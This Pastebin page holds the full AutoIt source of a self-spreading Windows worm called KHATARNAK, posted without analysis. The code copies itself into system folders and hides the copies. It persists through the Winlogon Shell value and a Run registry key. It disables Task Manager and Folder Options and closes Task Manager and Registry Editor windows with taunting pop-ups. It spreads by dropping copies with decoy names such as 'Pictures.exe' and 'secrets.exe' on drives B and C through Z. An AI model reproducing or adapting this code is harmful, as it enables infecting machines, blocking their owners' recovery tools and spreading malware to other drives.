API tools faq
paste
FlyFar

Worm.Win32.AutoIt.u - Source Code

FlyFar
Jun 20th, 2023
106
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 6.71 KB | Cybersecurity | 0 0
raw download clone embed print report
  1.  
  2. #NoTrayIcon
  3. $NAME = "KHATARNAK"
  4. $EXE = ".exe"
  5. $VIRUS = @WindowsDir & "\" & $NAME & $EXE
  6. For $NOTHING = 0 To 1 Step 0
  7.     If ProcessExists($NAME & $EXE) Then
  8.         If @AutoItExe = $NAME & $EXE Then
  9.         EndIf
  10.     ElseIf Not ProcessExists($NAME & $EXE) Then
  11.         FileCopy(@AutoItExe, @SystemDir & "\" & $NAME & $EXE, 0)
  12.         FileSetAttrib(@SystemDir & "\" & $NAME & $EXE, "+RSH")
  13.         FileCopy(@AutoItExe, @WindowsDir & "\" & $NAME & $EXE, 0)
  14.         FileSetAttrib(@WindowsDir & "\" & $NAME & $EXE, "-RSH")
  15.         Sleep(1000)
  16.         Run(@SystemDir & "\" & $NAME & $EXE)
  17.         Exit (0)
  18.     EndIf
  19.     Sleep(1000)
  20.     RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Shell", "REG_SZ", "Explorer.exe " & $NAME & $EXE)
  21.     RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "KHATARNAK Loader", "REG_SZ", @SystemDir & "\" & $NAME & $EXE)
  22.     RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NofolderOptions", "REG_DWORD", 1)
  23.     RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", 1)
  24.     Sleep(1000)
  25.     Opt("WinTitleMatchMode", 2)
  26.     If WinExists("Task Manager") Then
  27.         WinClose("Task Manager")
  28.         MsgBox(16, "Message for " & @UserName, "MUHAHAHAHAHA!!!!!!", 10)
  29.     EndIf
  30.     If WinExists("Registry") Then
  31.         WinClose("Registry")
  32.         MsgBox(16, "Message for " & @UserName, "Edit your registry later you FOOL", 10)
  33.     EndIf
  34.     If WinExists("SEX") Then
  35.         WinClose("SEX")
  36.         MsgBox(16, "Message for " & @UserName, "Browse somewhere else you FOOL!!!", 10)
  37.     EndIf
  38.     If WinExists("Sex") Then
  39.         WinClose("Sex")
  40.         MsgBox(16, "Message for " & @UserName, "Browse somewhere else you FOOL!!!", 10)
  41.     EndIf
  42.     If WinExists("sex") Then
  43.         WinClose("sex")
  44.         MsgBox(16, "Message for " & @UserName, "Browse somewhere else you FOOL!!!", 10)
  45.     EndIf
  46.     If WinExists("PORN") Then
  47.         WinClose("PORN")
  48.         MsgBox(16, "Message for " & @UserName, "Browse somewhere else you FOOL!!!", 10)
  49.     EndIf
  50.     If WinExists("Porn") Then
  51.         WinClose("Porn")
  52.         MsgBox(16, "Message for " & @UserName, "Browse somewhere else you FOOL!!!", 10)
  53.     EndIf
  54.     If WinExists("porn") Then
  55.         WinClose("porn")
  56.         MsgBox(16, "Message for " & @UserName, "Browse somewhere else you FOOL!!!", 10)
  57.     EndIf
  58.     If WinExists("FUCK") Then
  59.         WinClose("FUCK")
  60.         MsgBox(16, "Message for " & @UserName, "Browse somewhere else you FOOL!!!", 10)
  61.     EndIf
  62.     If WinExists("Fuck") Then
  63.         WinClose("Fuck")
  64.         MsgBox(16, "Message for " & @UserName, "Browse somewhere else you FOOL!!!", 10)
  65.     EndIf
  66.     If WinExists("fuck") Then
  67.         WinClose("fuck")
  68.         MsgBox(16, "Message for " & @UserName, "Browse somewhere else you FOOL!!!", 10)
  69.     EndIf
  70.     Sleep(1000)
  71.     FileCopy($VIRUS, "C:\Pictures.exe")
  72.     FileCopy($VIRUS, "C:\Songs.exe")
  73.     FileCopy($VIRUS, "C:\Documents and Settings.exe")
  74.     FileCopy($VIRUS, "C:\New Folder.exe")
  75.     FileCopy($VIRUS, "C:\New Folder(2).exe")
  76.     FileCopy($VIRUS, "C:\WINDOWS.exe")
  77.     FileCopy($VIRUS, "C:\files.exe")
  78.     FileCopy($VIRUS, "C:\Program Files.exe")
  79.     Sleep(1000)
  80.     FileCopy($VIRUS, "D:\Games.exe")
  81.     FileCopy($VIRUS, "D:\New Folder.exe")
  82.     FileCopy($VIRUS, "D:\New Folder(2).exe")
  83.     FileCopy($VIRUS, "D:\Cool Stuff.exe")
  84.     FileCopy($VIRUS, "D:\Secrets(2).exe")
  85.     FileCopy($VIRUS, "D:\Jokes(2).exe")
  86.     FileCopy($VIRUS, "D:\Songs.exe")
  87.     FileCopy($VIRUS, "D:\New Folder(3).exe")
  88.     Sleep(1000)
  89.     FileCopy($VIRUS, "E:\file.exe")
  90.     FileCopy($VIRUS, "E:\secrets.exe")
  91.     FileCopy($VIRUS, "E:\pics.exe")
  92.     FileCopy($VIRUS, "E:\latest songs.exe")
  93.     FileCopy($VIRUS, "E:\adventure games.exe")
  94.     FileCopy($VIRUS, "E:\softwares.exe")
  95.     FileCopy($VIRUS, "E:\documents.exe")
  96.     FileCopy($VIRUS, "E:\New Folder.exe")
  97.     FileCopy($VIRUS, "E:\New Folder(2).exe")
  98.     FileCopy($VIRUS, "E:\New folder(3).exe")
  99.     FileCopy($VIRUS, "E:\New Folder(9).exe")
  100.     Sleep(1000)
  101.     FileCopy($VIRUS, "F:\secrets.exe")
  102.     FileCopy($VIRUS, "F:\Fun.exe")
  103.     FileCopy($VIRUS, "F:\New Folder(5).exe")
  104.     Sleep(1000)
  105.     FileCopy($VIRUS, "G:\New Folder(8).exe")
  106.     FileCopy($VIRUS, "G:\secrets.exe")
  107.     FileCopy($VIRUS, "G:\pics.exe")
  108.     FileCopy($VIRUS, "G:\latest songs.exe")
  109.     FileCopy($VIRUS, "G:\adventure games.exe")
  110.     FileCopy($VIRUS, "G:\softwares.exe")
  111.     FileCopy($VIRUS, "G:\documents.exe")
  112.     FileCopy($VIRUS, "G:\New Folder.exe")
  113.     FileCopy($VIRUS, "G:\New Folder(2).exe")
  114.     FileCopy($VIRUS, "G:\New folder(3).exe")
  115.     FileCopy($VIRUS, "G:\New Folder(9).exe")
  116.     Sleep(1000)
  117.     FileCopy($VIRUS, "H:\New Folder(4).exe")
  118.     FileCopy($VIRUS, "H:\New Folder(8).exe")
  119.     FileCopy($VIRUS, "H:\secrets.exe")
  120.     FileCopy($VIRUS, "H:\pics.exe")
  121.     FileCopy($VIRUS, "H:\latest songs.exe")
  122.     FileCopy($VIRUS, "H:\adventure games.exe")
  123.     FileCopy($VIRUS, "H:\softwares.exe")
  124.     FileCopy($VIRUS, "H:\documents.exe")
  125.     FileCopy($VIRUS, "H:\New Folder.exe")
  126.     FileCopy($VIRUS, "H:\New Folder(2).exe")
  127.     FileCopy($VIRUS, "H:\New folder(3).exe")
  128.     FileCopy($VIRUS, "H:\New Folder(9).exe")
  129.     Sleep(1000)
  130.     FileCopy($VIRUS, "I:\New Folder(2).exe")
  131.     FileCopy($VIRUS, "I:\New Folder.exe")
  132.     FileCopy($VIRUS, "J:\New Folder(6).exe")
  133.     FileCopy($VIRUS, "J:\New Folder.exe")
  134.     FileCopy($VIRUS, "K:\New Folder (2).exe")
  135.     FileCopy($VIRUS, "K:\New Folder.exe")
  136.     FileCopy($VIRUS, "L:\files.exe")
  137.     FileCopy($VIRUS, "L:\New Folder.exe")
  138.     FileCopy($VIRUS, "M:\files.exe")
  139.     FileCopy($VIRUS, "M:\New Folder.exe")
  140.     FileCopy($VIRUS, "N:\files.exe")
  141.     FileCopy($VIRUS, "N:\New Folder.exe")
  142.     FileCopy($VIRUS, "O:\files.exe")
  143.     FileCopy($VIRUS, "O:\New Folder.exe")
  144.     FileCopy($VIRUS, "P:\files.exe")
  145.     FileCopy($VIRUS, "P:\New Folder.exe")
  146.     FileCopy($VIRUS, "Q:\files.exe")
  147.     FileCopy($VIRUS, "Q:\New Folder.exe")
  148.     FileCopy($VIRUS, "R:\files.exe")
  149.     FileCopy($VIRUS, "R:\New Folder.exe")
  150.     FileCopy($VIRUS, "S:\files.exe")
  151.     FileCopy($VIRUS, "S:\New Folder.exe")
  152.     FileCopy($VIRUS, "T:\files.exe")
  153.     FileCopy($VIRUS, "T:\New Folder.exe")
  154.     FileCopy($VIRUS, "U:\files.exe")
  155.     FileCopy($VIRUS, "U:\New Folder.exe")
  156.     FileCopy($VIRUS, "V:\files.exe")
  157.     FileCopy($VIRUS, "V:\New Folder.exe")
  158.     FileCopy($VIRUS, "W:\files.exe")
  159.     FileCopy($VIRUS, "W:\New Folder.exe")
  160.     FileCopy($VIRUS, "X:\files.exe")
  161.     FileCopy($VIRUS, "X:\New Folder.exe")
  162.     FileCopy($VIRUS, "Y:\files.exe")
  163.     FileCopy($VIRUS, "Y:\New Folder.exe")
  164.     FileCopy($VIRUS, "Z:\files.exe")
  165.     FileCopy($VIRUS, "Z:\New Folder.exe")
  166.     Sleep(1000)
  167.     FileCopy($VIRUS, "B:\New Folder.exe")
  168.     FileCopy($VIRUS, "B:\New Folder.exe")
  169.     Sleep(1000)
  170.     HotKeySet("+!{PAUSE}", "Terminate")
  171. Next
  172.  
  173. Func TERMINATE()
  174.     MsgBox(64, "Message", "KHATARNAK will be Terminated", 5)
  175.     RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr")
  176.     MsgBox(64, "Message", "Task Manager enabled!", 5)
  177.     RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NofolderOptions")
  178.     MsgBox(64, "Message", "Folder options enabled!", 5)
  179.     Exit (0)
  180. EndFunc
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!